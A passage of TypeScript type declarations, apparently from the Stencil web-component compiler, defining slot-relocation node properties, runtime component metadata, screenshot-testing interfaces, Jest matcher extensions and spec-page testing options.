Function:\n   * Callback function to be called when the slotted node ref is ready.\n   */\n  ['s-rf']?: (elm: Element) => unknown;\n\n  /**\n   * Is initially hidden\n   * Whether this node was originally rendered with the `hidden` attribute.\n   *\n   * Used to reset the `hidden` state of a node during slot relocation.\n   */\n  ['s-ih']?: boolean;\n\n  /**\n   * Is Content Reference Node:\n   * This node is a content reference node.\n   */\n  ['s-cn']?: boolean;\n\n  /**\n   * Is a `slot` node when `shadow: false` (or `scoped: true`).\n   *\n   * This is a node (either empty text-node or `<slot-fb>` element)\n   * that represents where a `<slot>` is located in the original JSX.\n   */\n  ['s-sr']?: boolean;\n\n  /**\n   * Slot name of either the slot itself or the slotted node\n   */\n  ['s-sn']?: string;\n\n  /**\n   * Host element tag name:\n   * The tag name of the host element that this\n   * node was created in.\n   */\n  ['s-hn']?: string;\n\n  /**\n   * Slot host tag name:\n   * This is the tag name of the element where this node\n   * has been moved to during slot relocation.\n   *\n   * This allows us to check if the node has been moved and prevent\n   * us from thinking a node _should_ be moved when it may already be in\n   * its final destination.\n   *\n   * This value is set to `undefined` whenever the node is put back into its original location.\n   */\n  ['s-sh']?: string;\n\n  /**\n   * Original Location Reference:\n   * A reference pointing to the comment\n   * which represents the original location\n   * before it was moved to its slot.\n   */\n  ['s-ol']?: RenderNode;\n\n  /**\n   * Node reference:\n   * This is a reference from an original location node\n   * back to the node that's been moved around.\n   */\n  ['s-nr']?: PatchedSlotNode | RenderNode;\n\n  /**\n   * Original Order:\n   * During SSR; a number representing the order of a slotted node\n   */\n  ['s-oo']?: number;\n\n  /**\n   * Scope Id\n   */\n  ['s-si']?: string;\n\n  /**\n   * Host Id (hydrate only)\n   */\n  ['s-host-id']?: number;\n\n  /**\n   * Node Id (hydrate only)\n   */\n  ['s-node-id']?: number;\n\n  /**\n   * Used to know the components encapsulation.\n   * empty \"\" for shadow, \"c\" from scoped\n   */\n  ['s-en']?: '' | /*shadow*/ 'c' /*scoped*/;\n\n  /**\n   * On a `scoped: true` component\n   * with `experimentalSlotFixes` flag enabled,\n   * returns the internal `childNodes` of the component\n   */\n  readonly __childNodes?: NodeListOf<ChildNode>;\n\n  /**\n   * On a `scoped: true` component\n   * with `experimentalSlotFixes` flag enabled,\n   * returns the internal `children` of the component\n   */\n  readonly __children?: HTMLCollectionOf<Element>;\n\n  /**\n   * On a `scoped: true` component\n   * with `experimentalSlotFixes` flag enabled,\n   * returns the internal `firstChild` of the component\n   */\n  readonly __firstChild?: ChildNode;\n\n  /**\n   * On a `scoped: true` component\n   * with `experimentalSlotFixes` flag enabled,\n   * returns the internal `lastChild` of the component\n   */\n  readonly __lastChild?: ChildNode;\n\n  /**\n   * On a `scoped: true` component\n   * with `experimentalSlotFixes` flag enabled,\n   * returns the internal `textContent` of the component\n   */\n  __textContent?: string;\n\n  /**\n   * On a `scoped: true` component\n   * with `experimentalSlotFixes` flag enabled,\n   * gives access to the original `append` method\n   */\n  __append?: (...nodes: (Node | string)[]) => void;\n\n  /**\n   * On a `scoped: true` component\n   * with `experimentalSlotFixes` flag enabled,\n   * gives access to the original `prepend` method\n   */\n  __prepend?: (...nodes: (Node | string)[]) => void;\n\n  /**\n   * On a `scoped: true` component\n   * with `experimentalSlotFixes` flag enabled,\n   * gives access to the original `appendChild` method\n   */\n  __appendChild?: <T extends Node>(newChild: T) => T;\n\n  /**\n   * On a `scoped: true` component\n   * with `experimentalSlotFixes` flag enabled,\n   * gives access to the original `insertBefore` method\n   */\n  __insertBefore?: <T extends Node>(node: T, child: Node | null) => T;\n\n  /**\n   * On a `scoped: true` component\n   * with `experimentalSlotFixes` flag enabled,\n   * gives access to the original `removeChild` method\n   */\n  __removeChild?: <T extends Node>(child: T) => T;\n}\n\nexport interface PatchedSlotNode extends Node {\n  /**\n   * Slot name\n   */\n  ['s-sn']?: string;\n\n  /**\n   * Original Location Reference:\n   * A reference pointing to the comment\n   * which represents the original location\n   * before it was moved to its slot.\n   */\n  ['s-ol']?: RenderNode;\n\n  /**\n   * Slot host tag name:\n   * This is the tag name of the element where this node\n   * has been moved to during slot relocation.\n   *\n   * This allows us to check if the node has been moved and prevent\n   * us from thinking a node _should_ be moved when it may already be in\n   * its final destination.\n   *\n   * This value is set to `undefined` whenever the node is put back into its original location.\n   */\n  ['s-sh']?: string;\n\n  /**\n   * Is a `slot` node when `shadow: false` (or `scoped: true`).\n   *\n   * This is a node (either empty text-node or `<slot-fb>` element)\n   * that represents where a `<slot>` is located in the original JSX.\n   */\n  ['s-sr']?: boolean;\n\n  /**\n   * On a `scoped: true` component\n   * with `experimentalSlotFixes` flag enabled,\n   * returns the actual `parentNode` of the component\n   */\n  __parentNode?: RenderNode;\n\n  /**\n   * On a `scoped: true` component\n   * with `experimentalSlotFixes` flag enabled,\n   * returns the actual `nextSibling` of the component\n   */\n  __nextSibling?: RenderNode;\n\n  /**\n   * On a `scoped: true` component\n   * with `experimentalSlotFixes` flag enabled,\n   * returns the actual `previousSibling` of the component\n   */\n  __previousSibling?: RenderNode;\n\n  /**\n   * On a `scoped: true` component\n   * with `experimentalSlotFixes` flag enabled,\n   * returns the actual `nextElementSibling` of the component\n   */\n  __nextElementSibling?: RenderNode;\n\n  /**\n   * On a `scoped: true` component\n   * with `experimentalSlotFixes` flag enabled,\n   * returns the actual `nextElementSibling` of the component\n   */\n  __previousElementSibling?: RenderNode;\n}\n\nexport type LazyBundlesRuntimeData = LazyBundleRuntimeData[];\n\nexport type LazyBundleRuntimeData = [\n  /** bundleIds */\n  string,\n  ComponentRuntimeMetaCompact[],\n];\n\nexport type ComponentRuntimeMetaCompact = [\n  /** flags */\n  number,\n\n  /** tagname */\n  string,\n\n  /** members */\n  { [memberName: string]: ComponentRuntimeMember }?,\n\n  /** listeners */\n  ComponentRuntimeHostListener[]?,\n\n  /** watchers */\n  ComponentConstructorChangeHandlers?,\n\n  /** serializers */\n  ComponentConstructorChangeHandlers?,\n\n  /** deserializers */\n  ComponentConstructorChangeHandlers?,\n];\n\n/**\n * Runtime metadata for a Stencil component\n */\nexport interface ComponentRuntimeMeta {\n  /**\n   * This number is used to hold a series of bitflags for various features we\n   * support on components. The flags which this value is intended to store are\n   * documented in the `CMP_FLAGS` enum.\n   */\n  $flags$: number;\n  /**\n   * Just what it says on the tin - the tag name for the component, as set in\n   * the `@Component` decorator.\n   */\n  $tagName$: string;\n  /**\n   * A map of the component's members, which could include fields decorated\n   * with `@Prop`, `@State`, etc as well as methods.\n   */\n  $members$?: ComponentRuntimeMembers;\n  /**\n   * Information about listeners on the component.\n   */\n  $listeners$?: ComponentRuntimeHostListener[];\n  /**\n   * Tuples containing information about `@Prop` fields on the component which\n   * are set to be reflected (i.e. kept in sync) as HTML attributes when\n   * updated.\n   */\n  $attrsToReflect$?: ComponentRuntimeReflectingAttr[];\n  /**\n   * Information about which class members have watchers attached on the component.\n   */\n  $watchers$?: ComponentConstructorChangeHandlers;\n  /**\n   * A bundle ID used for lazy loading.\n   */\n  $lazyBundleId$?: string;\n  /**\n   * Information about which class members have prop > attribute serializers attached on the component.\n   */\n  $serializers$?: ComponentConstructorChangeHandlers;\n  /**\n   * Information about which class members have attribute > prop deserializers attached on the component.\n   */\n  $deserializers$?: ComponentConstructorChangeHandlers;\n}\n\n/**\n * A mapping of the names of members on the component to some runtime-specific\n * information about them.\n */\nexport interface ComponentRuntimeMembers {\n  [memberName: string]: ComponentRuntimeMember;\n}\n\n/**\n * A tuple with information about a class member that's relevant at runtime.\n * The fields are:\n *\n * 1. A number used to hold bitflags for component members. The bit flags which\n * this is intended to store are documented in the `MEMBER_FLAGS` enum.\n * 2. The attribute name to observe.\n */\nexport type ComponentRuntimeMember = [number, string?];\n\n/**\n * A tuple holding information about a host listener which is relevant at\n * runtime. The field are:\n *\n * 1. A number used to hold bitflags for listeners. The bit flags which this is\n * intended to store are documented in the `LISTENER_FLAGS` enum.\n * 2. The event name.\n * 3. The method name.\n */\nexport type ComponentRuntimeHostListener = [number, string, string];\n\n/**\n * A tuple containing information about props which are \"reflected\" at runtime,\n * meaning that HTML attributes on the component instance are kept in sync with\n * the prop value.\n *\n * The fields are:\n *\n * 1. the prop name\n * 2. the prop attribute.\n */\nexport type ComponentRuntimeReflectingAttr = [string, string | undefined];\n\n/**\n * A runtime component reference, consistent of either a host element _or_ an\n * empty object. This is used in particular in a few different places as the\n * keys in a `WeakMap` which maps {@link HostElement} instances to their\n * associated {@link HostRef} instance.\n */\nexport type RuntimeRef = HostElement | { __stencil__getHostRef?: () => HostRef };\n\n/**\n * Interface used to track an Element, it's virtual Node (`VNode`), and other data\n */\nexport interface HostRef {\n  $ancestorComponent$?: HostElement;\n  $flags$: number;\n  $cmpMeta$: ComponentRuntimeMeta;\n  $hostElement$: HostElement;\n  $instanceValues$?: Map<string, any>;\n  $serializerValues$?: Map<string, string>;\n  $lazyInstance$?: ComponentInterface;\n  /**\n   * A list of callback functions called immediately after a lazy component module has been fetched.\n   */\n  $fetchedCbList$?: ((elm: HostElement) => void)[];\n  /**\n   * A promise that gets resolved if `BUILD.asyncLoading` is enabled and after the `componentDidLoad`\n   * and before the `componentDidUpdate` lifecycle events are triggered.\n   */\n  $onReadyPromise$?: Promise<HostElement>;\n  /**\n   * A callback which resolves {@link HostRef.$onReadyPromise$}\n   * @param elm host element\n   */\n  $onReadyResolve$?: (elm: HostElement) => void;\n  /**\n   * A promise which resolves with the host component once it has finished rendering\n   * for the first time. This is primarily used to wait for the first `update` to be\n   * called on a component.\n   */\n  $onInstancePromise$?: Promise<HostElement>;\n  /**\n   * A callback which resolves {@link HostRef.$onInstancePromise$}\n   * @param elm host element\n   */\n  $onInstanceResolve$?: (elm: HostElement) => void;\n  /**\n   * A promise which resolves when the component has finished rendering for the first time.\n   * It is called after {@link HostRef.$onInstancePromise$} resolves.\n   */\n  $onRenderResolve$?: () => void;\n  $vnode$?: VNode;\n  $queuedListeners$?: [string, any][];\n  $rmListeners$?: (() => void)[];\n  $modeName$?: string;\n  $renderCount$?: number;\n  /**\n   * Defer connectedCallback until after first render for components with slot relocation.\n   */\n  $deferredConnectedCallback$?: boolean;\n}\n\nexport interface PlatformRuntime {\n  /**\n   * This number is used to hold a series of bitflags for various features we\n   * support within the runtime. The flags which this value is intended to store are\n   * documented in the {@link PLATFORM_FLAGS} enum.\n   */\n  $flags$: number;\n  /**\n   * Holds a map of nodes to be hydrated.\n   */\n  $orgLocNodes$?: Map<string, RenderNode>;\n  /**\n   * Holds the resource url for given platform environment.\n   */\n  $resourcesUrl$: string;\n  /**\n   * The nonce value to be applied to all script/style tags at runtime.\n   * If `null`, the nonce attribute will not be applied.\n   */\n  $nonce$?: string | null;\n  /**\n   * A utility function that executes a given function and returns the result.\n   * @param c The callback function to execute\n   */\n  jmp: (c: Function) => any;\n  /**\n   * A wrapper for {@link https://developer.mozilla.org/en-US/docs/Web/API/Window/requestAnimationFrame `requestAnimationFrame`}\n   */\n  raf: (c: FrameRequestCallback) => number;\n  /**\n   * A wrapper for {@link https://developer.mozilla.org/en-US/docs/Web/API/EventTarget/addEventListener `addEventListener`}\n   */\n  ael: (\n    el: EventTarget,\n    eventName: string,\n    listener: EventListenerOrEventListenerObject,\n    options: boolean | AddEventListenerOptions,\n  ) => void;\n  /**\n   * A wrapper for {@link https://developer.mozilla.org/en-US/docs/Web/API/EventTarget/removeEventListener `removeEventListener`}\n   */\n  rel: (\n    el: EventTarget,\n    eventName: string,\n    listener: EventListenerOrEventListenerObject,\n    options: boolean | AddEventListenerOptions,\n  ) => void;\n  /**\n   * A wrapper for creating a {@link https://developer.mozilla.org/docs/Web/API/CustomEvent `CustomEvent`}\n   */\n  ce: (eventName: string, opts?: any) => CustomEvent;\n}\n\nexport type StyleMap = Map<string, CSSStyleSheet | string>;\n\nexport type RootAppliedStyleMap = WeakMap<Element, Set<string>>;\n\nexport interface ScreenshotConnector {\n  initBuild(opts: ScreenshotConnectorOptions): Promise<void>;\n  completeBuild(masterBuild: ScreenshotBuild): Promise<ScreenshotBuildResults>;\n  getMasterBuild(): Promise<ScreenshotBuild>;\n  pullMasterBuild(): Promise<void>;\n  publishBuild(buildResults: ScreenshotBuildResults): Promise<ScreenshotBuildResults>;\n  getScreenshotCache(): Promise<ScreenshotCache>;\n  updateScreenshotCache(\n    screenshotCache: ScreenshotCache,\n    buildResults: ScreenshotBuildResults,\n  ): Promise<ScreenshotCache>;\n  generateJsonpDataUris(build: ScreenshotBuild): Promise<void>;\n  sortScreenshots(screenshots: Screenshot[]): Screenshot[];\n  toJson(masterBuild: ScreenshotBuild, screenshotCache: ScreenshotCache): string;\n}\n\nexport interface ScreenshotBuildResults {\n  appNamespace: string;\n  masterBuild: ScreenshotBuild;\n  currentBuild: ScreenshotBuild;\n  compare: ScreenshotCompareResults;\n}\n\nexport interface ScreenshotCompareResults {\n  id: string;\n  a: {\n    id: string;\n    message: string;\n    author: string;\n    url: string;\n    previewUrl: string;\n  };\n  b: {\n    id: string;\n    message: string;\n    author: string;\n    url: string;\n    previewUrl: string;\n  };\n  timestamp: number;\n  url: string;\n  appNamespace: string;\n  diffs: ScreenshotDiff[];\n}\n\nexport interface ScreenshotConnectorOptions {\n  buildId: string;\n  buildMessage: string;\n  buildAuthor?: string;\n  buildUrl?: string;\n  previewUrl?: string;\n  appNamespace: string;\n  buildTimestamp: number;\n  logger: Logger;\n  rootDir: string;\n  cacheDir: string;\n  packageDir: string;\n  screenshotDirName?: string;\n  imagesDirName?: string;\n  buildsDirName?: string;\n  currentBuildDir?: string;\n  updateMaster?: boolean;\n  allowableMismatchedPixels?: number;\n  allowableMismatchedRatio?: number;\n  pixelmatchThreshold?: number;\n  waitBeforeScreenshot?: number;\n  pixelmatchModulePath?: string;\n}\n\nexport interface ScreenshotBuildData {\n  buildId: string;\n  rootDir: string;\n  screenshotDir: string;\n  imagesDir: string;\n  buildsDir: string;\n  currentBuildDir: string;\n  updateMaster: boolean;\n  allowableMismatchedPixels: number;\n  allowableMismatchedRatio: number;\n  pixelmatchThreshold: number;\n  masterScreenshots: { [screenshotId: string]: string };\n  cache: { [cacheKey: string]: number };\n  timeoutBeforeScreenshot: number;\n  pixelmatchModulePath: string;\n}\n\nexport interface PixelMatchInput {\n  imageAPath: string;\n  imageBPath: string;\n  width: number;\n  height: number;\n  pixelmatchThreshold: number;\n}\n\nexport interface ScreenshotBuild {\n  id: string;\n  message: string;\n  author?: string;\n  url?: string;\n  previewUrl?: string;\n  appNamespace: string;\n  timestamp: number;\n  screenshots: Screenshot[];\n}\n\nexport interface ScreenshotCache {\n  timestamp?: number;\n  lastBuildId?: string;\n  size?: number;\n  items?: {\n    /**\n     * Cache key\n     */\n    key: string;\n\n    /**\n     * Timestamp used to remove the oldest data\n     */\n    ts: number;\n\n    /**\n     * Mismatched pixels\n     */\n    mp: number;\n  }[];\n}\n\nexport interface Screenshot {\n  id: string;\n  desc?: string;\n  image: string;\n  device?: string;\n  userAgent?: string;\n  width: number;\n  height: number;\n  deviceScaleFactor?: number;\n  hasTouch?: boolean;\n  isLandscape?: boolean;\n  isMobile?: boolean;\n  testPath?: string;\n  diff?: ScreenshotDiff;\n}\n\nexport interface ScreenshotDiff {\n  mismatchedPixels: number;\n  id: string;\n  desc?: string;\n  imageA?: string;\n  imageB?: string;\n  device?: string;\n  userAgent?: string;\n  width: number;\n  height: number;\n  deviceScaleFactor?: number;\n  hasTouch?: boolean;\n  isLandscape?: boolean;\n  isMobile?: boolean;\n  allowableMismatchedPixels: number;\n  allowableMismatchedRatio: number;\n  testPath?: string;\n  cacheKey?: string;\n}\n\nexport interface ScreenshotOptions {\n  /**\n   * When true, takes a screenshot of the full scrollable page.\n   * Default: `false`\n   */\n  fullPage?: boolean;\n\n  /**\n   * An object which specifies clipping region of the page.\n   */\n  clip?: ScreenshotBoundingBox;\n\n  /**\n   * Hides default white background and allows capturing screenshots with transparency.\n   * Default: `false`\n   */\n  omitBackground?: boolean;\n\n  /**\n   * Matching threshold, ranges from `0` to 1. Smaller values make the comparison\n   * more sensitive. Defaults to the testing config `pixelmatchThreshold` value;\n   */\n  pixelmatchThreshold?: number;\n  /**\n   * Capture the screenshot beyond the viewport.\n   *\n   * @defaultValue `false` if there is no `clip`. `true` otherwise.\n   */\n  captureBeyondViewport?: boolean;\n}\n\nexport interface ScreenshotBoundingBox {\n  /**\n   * The x-coordinate of top-left corner.\n   */\n  x: number;\n\n  /**\n   * The y-coordinate of top-left corner.\n   */\n  y: number;\n\n  /**\n   * The width in pixels.\n   */\n  width: number;\n\n  /**\n   * The height in pixels.\n   */\n  height: number;\n}\n\nexport interface StyleCompiler {\n  modeName: string;\n  styleId: string;\n  styleStr: string;\n  styleIdentifier: string;\n  externalStyles: ExternalStyleCompiler[];\n}\n\nexport interface ExternalStyleCompiler {\n  absolutePath: string;\n  relativePath: string;\n  originalComponentPath: string;\n}\n\nexport interface CompilerModeStyles {\n  [modeName: string]: string[];\n}\n\nexport interface CssImportData {\n  srcImport: string;\n  updatedImport?: string;\n  url: string;\n  filePath: string;\n  altFilePath?: string;\n  styleText?: string | null;\n  modifiers?: string;\n}\n\nexport interface CssToEsmImportData {\n  srcImportText: string;\n  varName: string;\n  url: string;\n  filePath: string;\n  /**\n   * True if this is a node module import (e.g. using ~ prefix like ~foo/style.css)\n   * These should be treated as bare module specifiers and not have ./ prepended\n   */\n  isNodeModule?: boolean;\n}\n\n/**\n * Input CSS to be transformed into ESM\n */\nexport interface TransformCssToEsmInput {\n  input: string;\n  module?: 'cjs' | 'esm' | string;\n  file?: string;\n  tag?: string;\n  tags?: string[];\n  addTagTransformers: boolean;\n  encapsulation?: string;\n  /**\n   * The mode under which the CSS will be applied.\n   *\n   * Corresponds to a key used when `@Component`'s `styleUrls` field is an object:\n   * ```ts\n   * @Component({\n   *   tag: 'todo-list',\n   *   styleUrls: {\n   *      ios: 'todo-list.ios.scss',\n   *      md: 'todo-list.md.scss',\n   *   }\n   * })\n   * ```\n   * In the example above, two `TransformCssToEsmInput`s should be created, one for 'ios' and one for 'md' (this field\n   * is not shared by multiple fields, nor is it a composite of multiple modes).\n   */\n  mode?: string;\n  sourceMap?: boolean;\n  minify?: boolean;\n  docs?: boolean;\n  autoprefixer?: any;\n  styleImportData?: string;\n}\n\nexport interface TransformCssToEsmOutput {\n  styleText: string;\n  output: string;\n  map: any;\n  diagnostics: Diagnostic[];\n  defaultVarName: string;\n  styleDocs: StyleDoc[];\n  imports: { varName: string; importPath: string }[];\n}\n\nexport interface PackageJsonData {\n  name?: string;\n  version?: string;\n  main?: string;\n  exports?: { [key: string]: string | { [key: string]: string } };\n  description?: string;\n  bin?: { [key: string]: string };\n  browser?: string;\n  module?: string;\n  'jsnext:main'?: string;\n  'collection:main'?: string;\n  unpkg?: string;\n  collection?: string;\n  types?: string;\n  files?: string[];\n  ['dist-tags']?: {\n    latest: string;\n  };\n  dependencies?: {\n    [moduleId: string]: string;\n  };\n  devDependencies?: {\n    [moduleId: string]: string;\n  };\n  repository?: {\n    type?: string;\n    url?: string;\n  };\n  private?: boolean;\n  scripts?: {\n    [runName: string]: string;\n  };\n  license?: string;\n  keywords?: string[];\n}\n\nexport interface Workbox {\n  generateSW(swConfig: any): Promise<any>;\n  generateFileManifest(): Promise<any>;\n  getFileManifestEntries(): Promise<any>;\n  injectManifest(swConfig: any): Promise<any>;\n  copyWorkboxLibraries(wwwDir: string): Promise<any>;\n}\n\ndeclare global {\n  namespace jest {\n    /* eslint-disable-next-line @typescript-eslint/no-unused-vars --\n     * these type params need to be here for compatibility with Jest, but we aren't using them for anything\n     */\n    interface Matchers<R, T> {\n      /**\n       * Compares HTML, but first normalizes the HTML so all\n       * whitespace, attribute order and css class order are\n       * the same. When given an element, it will compare\n       * the element's `outerHTML`. When given a Document Fragment,\n       * such as a Shadow Root, it'll compare its `innerHTML`.\n       * Otherwise it'll compare two strings representing HTML.\n       */\n      toEqualHtml(expectHtml: string): void;\n\n      /**\n       * Compares HTML light DOM only, but first normalizes the HTML so all\n       * whitespace, attribute order and css class order are\n       * the same. When given an element, it will compare\n       * the element's `outerHTML`. When given a Document Fragment,\n       * such as a Shadow Root, it'll compare its `innerHTML`.\n       * Otherwise it'll compare two strings representing HTML.\n       */\n      toEqualLightHtml(expectLightHtml: string): void;\n\n      /**\n       * When given an element, it'll compare the element's\n       * `textContent`. Otherwise it'll compare two strings. This\n       * matcher will also `trim()` each string before comparing.\n       */\n      toEqualText(expectTextContent: string): void;\n\n      /**\n       * Checks if an element simply has the attribute. It does\n       * not check any values of the attribute\n       */\n      toHaveAttribute(expectAttrName: string): void;\n\n      /**\n       * Checks if an element's attribute value equals the expect value.\n       */\n      toEqualAttribute(expectAttrName: string, expectAttrValue: any): void;\n\n      /**\n       * Checks if an element's has each of the expected attribute\n       * names and values.\n       */\n      toEqualAttributes(expectAttrs: { [attrName: string]: any }): void;\n\n      /**\n       * Checks if an element has the expected css class.\n       */\n      toHaveClass(expectClassName: string): void;\n\n      /**\n       * Checks if an element has each of the expected css classes\n       * in the array.\n       */\n      toHaveClasses(expectClassNames: string[]): void;\n\n      /**\n       * Checks if an element has the exact same css classes\n       * as the expected array of css classes.\n       */\n      toMatchClasses(expectClassNames: string[]): void;\n\n      /**\n       * When given an EventSpy, checks if the event has been\n       * received or not.\n       */\n      toHaveReceivedEvent(): void;\n\n      /**\n       * When given an EventSpy, checks how many times the\n       * event has been received.\n       */\n      toHaveReceivedEventTimes(count: number): void;\n\n      /**\n       * When given an EventSpy, checks the event has\n       * received the correct custom event `detail` data.\n       */\n      toHaveReceivedEventDetail(eventDetail: any): void;\n\n      /**\n       * When given an EventSpy, checks the first event has\n       * received the correct custom event `detail` data.\n       */\n      toHaveFirstReceivedEventDetail(eventDetail: any): void;\n\n      /**\n       * When given an EventSpy, checks the last event has\n       * received the correct custom event `detail` data.\n       */\n      toHaveLastReceivedEventDetail(eventDetail: any): void;\n\n      /**\n       * When given an EventSpy, checks the event at an index\n       * has received the correct custom event `detail` data.\n       */\n      toHaveNthReceivedEventDetail(index: number, eventDetail: any): void;\n\n      /**\n       * Used to evaluate the results of `compareScreenshot()`, such as\n       * `expect(compare).toMatchScreenshot()`. The `allowableMismatchedRatio`\n       * value from the testing config is used by default if\n       * `MatchScreenshotOptions` were not provided.\n       */\n      toMatchScreenshot(opts?: MatchScreenshotOptions): void;\n    }\n  }\n}\n\nexport interface MatchScreenshotOptions {\n  /**\n   * The `allowableMismatchedPixels` value is the total number of pixels\n   * that can be mismatched until the test fails. For example, if the value\n   * is `100`, and if there were `101` pixels that were mismatched then the\n   * test would fail. If the `allowableMismatchedRatio` is provided it will\n   * take precedence, otherwise `allowableMismatchedPixels` will be used.\n   */\n  allowableMismatchedPixels?: number;\n\n  /**\n   * The `allowableMismatchedRatio` ranges from `0` to `1` and is used to\n   * determine an acceptable ratio of pixels that can be mismatched before\n   * the image is considered to have changes. Realistically, two screenshots\n   * representing the same content may have a small number of pixels that\n   * are not identical due to anti-aliasing, which is perfectly normal. The\n   * `allowableMismatchedRatio` is the number of pixels that were mismatched,\n   * divided by the total number of pixels in the screenshot. For example,\n   * a ratio value of `0.06` means 6% of the pixels can be mismatched before\n   * the image is considered to have changes. If the `allowableMismatchedRatio`\n   * is provided it will take precedence, otherwise `allowableMismatchedPixels`\n   * will be used.\n   */\n  allowableMismatchedRatio?: number;\n}\n\nexport interface EventSpy {\n  events: SerializedEvent[];\n  eventName: string;\n  firstEvent: SerializedEvent;\n  lastEvent: SerializedEvent;\n  length: number;\n  next(): Promise<{\n    done: boolean;\n    value: SerializedEvent;\n  }>;\n}\n\nexport interface SerializedEvent {\n  bubbles: boolean;\n  cancelBubble: boolean;\n  cancelable: boolean;\n  composed: boolean;\n  currentTarget: any;\n  defaultPrevented: boolean;\n  detail: any;\n  eventPhase: any;\n  isTrusted: boolean;\n  returnValue: any;\n  srcElement: any;\n  target: any;\n  timeStamp: number;\n  type: string;\n  isSerializedEvent: boolean;\n}\n\nexport interface EventInitDict {\n  bubbles?: boolean;\n  cancelable?: boolean;\n  composed?: boolean;\n  detail?: any;\n}\n\nexport interface JestEnvironmentGlobal {\n  __NEW_TEST_PAGE__: () => Promise<any>;\n  __CLOSE_OPEN_PAGES__: () => Promise<any>;\n  loadTestWindow: (testWindow: any) => Promise<void>;\n  h: any;\n  resourcesUrl: string;\n  currentSpec?: {\n    id?: string;\n    description: string;\n    fullName: string;\n    testPath: string | null;\n  };\n  env: { [prop: string]: string };\n  screenshotDescriptions: Set<string>;\n}\n\nexport interface E2EProcessEnv {\n  STENCIL_COMMIT_ID?: string;\n  STENCIL_COMMIT_MESSAGE?: string;\n  STENCIL_REPO_URL?: string;\n  STENCIL_SCREENSHOT_CONNECTOR?: string;\n  STENCIL_SCREENSHOT_SERVER?: string;\n\n  __STENCIL_EMULATE_CONFIGS__?: string;\n  __STENCIL_ENV__?: string;\n  __STENCIL_EMULATE__?: string;\n  __STENCIL_BROWSER_URL__?: string;\n  __STENCIL_APP_SCRIPT_URL__?: string;\n  __STENCIL_APP_STYLE_URL__?: string;\n  __STENCIL_BROWSER_WS_ENDPOINT__?: string;\n  __STENCIL_BROWSER_WAIT_UNTIL?: string;\n\n  __STENCIL_SCREENSHOT__?: 'true';\n  __STENCIL_SCREENSHOT_BUILD__?: string;\n  __STENCIL_SCREENSHOT_TIMEOUT_MS__?: string;\n\n  __STENCIL_E2E_TESTS__?: 'true';\n  __STENCIL_E2E_DEVTOOLS__?: 'true';\n  __STENCIL_SPEC_TESTS__?: 'true';\n\n  __STENCIL_PUPPETEER_MODULE__?: string;\n  __STENCIL_PUPPETEER_VERSION__?: number;\n  __STENCIL_DEFAULT_TIMEOUT__?: string;\n\n  /**\n   * Property for injecting transformAliasedImportPaths into the Jest context\n   */\n  __STENCIL_TRANSPILE_PATHS__?: 'true' | 'false';\n}\n\nexport interface AnyHTMLElement extends HTMLElement {\n  [key: string]: any;\n}\n\nexport interface SpecPage {\n  /**\n   * Mocked testing `document.body`.\n   */\n  body: HTMLBodyElement;\n  /**\n   * Mocked testing `document`.\n   */\n  doc: HTMLDocument;\n  /**\n   * The first component found within the mocked `document.body`. If a component isn't found, then it'll return `document.body.firstElementChild`.\n   */\n  root?: AnyHTMLElement;\n  /**\n   * Similar to `root`, except returns the component instance. If a root component was not found it'll return `null`.\n   */\n  rootInstance?: any;\n  /**\n   * Convenience function to set `document.body.innerHTML` and `waitForChanges()`. Function argument should be a HTML string.\n   */\n  setContent: (html: string) => Promise<any>;\n  /**\n   * After changes have been made to a component, such as a update to a property or attribute, the test page does not automatically apply the changes. In order to wait for, and apply the update, call `await page.waitForChanges()`.\n   */\n  waitForChanges: () => Promise<any>;\n  /**\n   * Mocked testing `window`.\n   */\n  win: Window;\n\n  build: BuildConditionals;\n  flushLoadModule: (bundleId?: string) => Promise<any>;\n  flushQueue: () => Promise<any>;\n  styles: Map<string, string>;\n}\n\n/**\n * Options pertaining to the creation and functionality of a {@link SpecPage}\n */\nexport interface NewSpecPageOptions {\n  /**\n   * An array of components to test. Component classes can be imported into the spec file, then their reference should be added to the `component` array in order to be used throughout the test.\n   */\n  components: any[];\n  /**\n   * Sets the mocked `document.cookie`.\n   */\n  cookie?: string;\n  /**\n   * Sets the mocked `dir` attribute on `<html>`.\n   */\n  direction?: string;\n  /**\n   * If `false`, do not flush the render queue on initial test setup.\n   */\n  flushQueue?: boolean;\n  /**\n   * The initial HTML used to generate the test. This can be useful to construct a collection of components working together, and assign HTML attributes. This value sets the mocked `document.body.innerHTML`.\n   */\n  html?: string;\n  /**\n   * The initial JSX used to generate the test.\n   * Use `template` when you want to initialize a component using their properties, instead of their HTML attributes.\n   * It will render the specified template (JSX) into `document.body`.\n   */\n  template?: () => any;\n  /**\n   * Sets the mocked `lang` attribute on `<html>`.\n   */\n  language?: string;\n  /**\n   * Useful for debugging hydrating components client-side. Sets that the `html` option already includes annotated prerender attributes and comments.\n   */\n  hydrateClientSide?: boolean;\n  /**\n   * Useful for debugging hydrating components server-side. The output HTML will also include prerender annotations.\n   */\n  hydrateServerSide?: boolean;\n  /**\n   * Sets the mocked `document.referrer`.\n   */\n  referrer?: string;\n  /**\n   * Manually set if the mocked document supports Shadow DOM or not. Default is `true`.\n   */\n  supportsShadowDom?: boolean;\n  /**\n   * When a component is pre-rendered it includes HTML annotations, such as `s-id` attributes and `<!-t.0->` comments. This information is used by client-side hydrating. Default is `false`.\n   */\n  includeAnnotations?: boolean;\n  /**\n   * Sets the mocked browser's `location.href`.\n   */\n  url?: string;\n  /**\n   * Sets the mocked browser's `navigator.userAgent`.\n   */\n  userAgent?: string;\n  /**\n   * By default, any changes to component properties and attributes must `page.waitForChanges()` in order to test the updates. As an option, `autoApplyChanges` continuously flushes the queue on the background. Default is `false`.\n   */\n  autoApplyChanges?: boolean;\n  /**\n   * By default, styles are not attached to the DOM and they are not reflected in the serialized HTML.\n   * Setting this option to `true` will include the component's styles in the serializable output.\n   */\n  attachStyles?: boolean;\n  /**\n   * Set {@link BuildConditionals} for testing based off the metadata of the component under test.\n   * When `true` all `BuildConditionals` will be assigned to the global testing `BUILD` object, regardless of their\n   * value. When `false`, only `BuildConditionals` with a value of `true` will be assigned to the `BUILD` object.\n   */\n  strictBuild?: boolean;\n  /**\n   * Default values to be set on the platform runtime object {@see PlatformRuntime} when creating\n   * the spec page.\n   */\n  platform?: Partial<PlatformRuntime>;\n}\n\n/**\n * A record of `TypesMemberNameData` entities.\n *\n * Each key in this record is intended to be the path to a file that declares one or more types used by a component.\n * However, this is not enforced by the type system - users of this interface should not make any assumptions regarding\n * the format of the path used as a key (relative vs. absolute)\n */\nexport interface TypesImportData {\n  [key: string]: TypesMemberNameData[];\n}\n\n/**\n * 